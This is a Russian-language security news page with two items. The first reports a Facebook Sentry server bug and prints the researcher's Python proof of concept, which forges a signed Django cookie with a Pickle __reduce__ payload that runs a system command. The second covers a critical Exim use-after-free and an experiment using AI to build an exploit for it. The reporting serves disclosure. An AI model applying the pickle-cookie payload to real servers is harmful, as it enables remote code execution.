Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Разработчики Facebook исправили серьезный баг, который мог привести к удаленному выполнению кода. Сама уязвимость была обнаружена на одном из серверов интернет-гиганта, о чем сообщил исследователь безопасности Дэниел Ле Галл, также известный под псевдонимом «Blaklis».

Ле Галл, работающий в SCRT Information Security, в пятницу заявил, что ему выплатили $5000 за сообщение о проблеме безопасности.

Суть уязвимости в том, что злоумышленник может выполнить произвольные команды, используя вредоносные файлы cookie.

Несмотря на то, что подобные бреши обычно довольно опасны, эксперт подчеркнул, что с помощью этого бага нельзя было получить пользовательские данные. Разработчики устранили уязвимость в этом месяце, еще до того, как была опубликована информация о ее наличии.

«Blaklis» утверждает, что недостаток был найден на одном из серверов Facebook, где было запущено программное обеспечение для сбора логов Sentry.

«Само приложение было крайне нестабильным, особенно в отношении функции сброса пароля пользователя», — объясняет специалист.

В итоге Ле Галлу удалось найти в логах детали обработки cookie, а также подробности использования приложением протокола Pickle, который может быть уязвим для различного рода манипуляций. Используя все вышеозначенные данные, эксперт мог обработать файлы cookie, которые могли запускать команды на машине.

Исследователь опубликовал PoC-код, который является небольшим файлом cookie:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

В Exim нашли критическую RCE-уязвимость: почтовики лучше обновить срочно

В популярном почтовом сервере Exim обнаружили критическую уязвимость CVE-2026-45185. При определённых условиях она позволяет удалённому атакующему без аутентификации выполнить произвольный код на сервере. Вполне себе неприятный сценарий, поэтому лучше не затягивать с установкой патча.

Проблема затрагивает версии Exim с 4.97 по 4.99.2, если они собраны с библиотекой GnuTLS и рекламируют STARTTLS вместе с CHUNKING. Сборки на OpenSSL, по имеющимся данным, не страдают — редкий случай, когда можно выдохнуть, но только после проверки конфигурации.

Суть бага — use-after-free во время завершения TLS-сессии при обработке SMTP-трафика BDAT. Exim освобождает TLS-буфер передачи, но затем продолжает использовать устаревшие callback-ссылки, которые могут писать данные уже в освобождённую область памяти. А дальше начинается классика жанра: повреждение памяти, удалённое выполнение кода и очень плохой день у администратора.

Exim широко используется на Linux- и Unix-серверах, в корпоративных почтовых системах, а также в Debian- и Ubuntu-based дистрибутивах, где он исторически часто выступал почтовым сервером по умолчанию.

По данным XBOW, баг был передан мейнтейнерам Exim 1 мая, подтверждение пришло 5 мая, а ещё через три дня уведомили затронутые Linux-дистрибутивы. Исправление уже выпущено в Exim 4.99.3.

Отдельная перчинка — попытка собрать PoC с помощью ИИ. XBOW устроила семидневное соревнование между своей автономной системой XBOW Native и человеком-исследователем, которому помогала большая языковая модель. ИИ смог собрать рабочий эксплойт для упрощённой цели без ASLR и с бинарником non-PIE. Во втором подходе LLM добралась до эксплуатации на системе с ASLR, но всё ещё без PIE.

Победил, впрочем, человек. Исследователь признал, что ИИ сильно ускоряет разбор незнакомого кода, сборку файлов и проверку направлений атаки, но до самостоятельной эксплуатации реального софта без человеческого руля моделям ещё надо подрасти.

RSS: Новости на портале Anti-Malware.ru